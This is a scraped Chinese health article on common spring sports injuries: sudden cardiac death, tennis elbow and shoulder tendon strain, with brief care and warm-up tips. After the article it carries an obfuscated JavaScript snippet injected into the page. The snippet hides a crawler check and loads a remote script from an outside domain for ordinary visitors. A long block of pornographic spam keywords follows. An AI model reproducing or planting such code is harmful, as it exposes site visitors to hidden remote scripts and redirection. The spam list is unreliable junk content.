當前位置:首頁 > 健康 > 運動健身 > 正文

運動型損傷應該怎么解決?

2017-04-14 21:37:40  來源:360常識網   熱度:
導語:運動損傷會頻繁發生在運動愛好者和專業運動員身上,出現運動損傷的主要原因是因為過度運動,導致身體的肌肉承受不住壓力所造成的,如果出現

運動損傷會頻繁發生在運動愛好者和專業運動員身上,出現運動損傷的主要原因是因為過度運動,導致身體的肌肉承受不住壓力所造成的,如果出現運動損傷后沒有及時的進行處理將會對我們的身體危害是非常大的,所以為了您的健康在平時的時候需要了解一些如何應對運動損傷的方法,下面跟著小編一起來看看吧!

初春季節運動過程中要確保安全,在這個季節的運動損傷要比其他季節高出三成,不要因運動損傷使良好的意愿適得其反。在春季運動時,八種運動損傷最為常見:

猝死 心臟猝死包括安靜型和運動型兩種。其中81%的猝死是安靜型的,即由于突發冠心病和肺栓塞而導致的。除了心臟疾病導致的猝死外,運動過量也是發生猝死的一個重要原因。如進行長跑鍛煉時,心臟循環系統會不堪重負,需要的血液量和氧氣量會突然增加,而供給量卻相對減少。在這種血、氧供不應求的狀態下,跑步者的心臟會出現急性缺血,繼而出現心臟驟停和腦血流中斷。跑步時要保證運動的安全性,如果在跑步時感到身體不適,要馬上停下來,千萬別硬撐,以免發生不測。

網球肘 該癥狀不單單是網球運動可以引發“網球肘”,打羽毛球、乒乓球等運動也可致病?;颊叱8械绞种馔鈧忍弁矗治樟p少及用力較差,打反手球時顯得非常困難。這主要是因肌肉肌腱點處發炎所致。運動后急性期疼痛應予冷敷,口服、外用消炎止痛藥。慢性炎癥可以理療及使用護肘托等。

肩周肌腱勞損 該癥狀受傷的原因主要是重復的超負荷動作使肩周的肌腱、肌肉反復受到刺激而受損?;继帟l炎腫痛,活動時加劇。肩周肌腱受損可分為急性損傷、慢性勞損及肌腱撕裂。典型病癥是打球后出現肩部局部肌肉腫痛現象,以及將手臂慢慢抬高時,感到疼楚甚至抬起困難,如肌腱撕裂會感到軟弱無力。傷后急性期應予冰敷,肩關節多休息并減少活動量,病癥反復及傷情嚴重者須就醫。

如果想要有效的避免在運動過程中出現損傷的話,小編建議您在運動之前一定要做一些熱身運動,而且最好選擇合格的運動訓練場地,這樣能夠有效的防止你出現一些損傷,同時還需要加強機體局部容易受傷部位的鍛煉,比如人的膝關節和髖關節等其他部位。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品中文字幕乱码影院| 国内精品一区二区三区在线观看| 四虎永久在线精品免费观看地址| 久久99国产亚洲精品观看| 无码精品人妻一区二区三区免费| 538精品视频在线观看mp4| 99精品久久精品| 国产精品亚洲色图| 国产精品美女久久久| 国产精品天天看天天狠| 500av导航大全精品| 美利坚永久精品视频在线观看| 99国产精品视频免费观看| 9久久9久久精品| 国产成人综合久久精品亚洲| 精品久久久久久久无码| 亚洲第一极品精品无码久久| 国产精品伦理久久久久久| 大伊香蕉在线精品视频人碰人| 精品视频一区二区三三区四区| 亚洲精品制服丝袜四区| 亚洲精品无码专区2| 日韩精品高清在线| 国产精品永久在线| 2022国产精品视频| 亚洲AV无码久久精品蜜桃| 久久久久亚洲精品中文字幕| 精品在线一区二区三区| 99久久婷婷国产综合精品| 91精品国产91| 亚洲精品美女久久久久9999| 亚洲国产精品久久久久| 亚洲国产一二三精品无码 | 亚洲中文字幕久久精品无码2021 | 97精品在线观看| 久久精品国产亚洲av麻豆| 亚洲精品乱码久久久久66| 国产亚洲精品无码拍拍拍色欲| 亚洲精品天堂成人片?V在线播放| 国产精品一区二区久久沈樵| 狠狠入ady亚洲精品|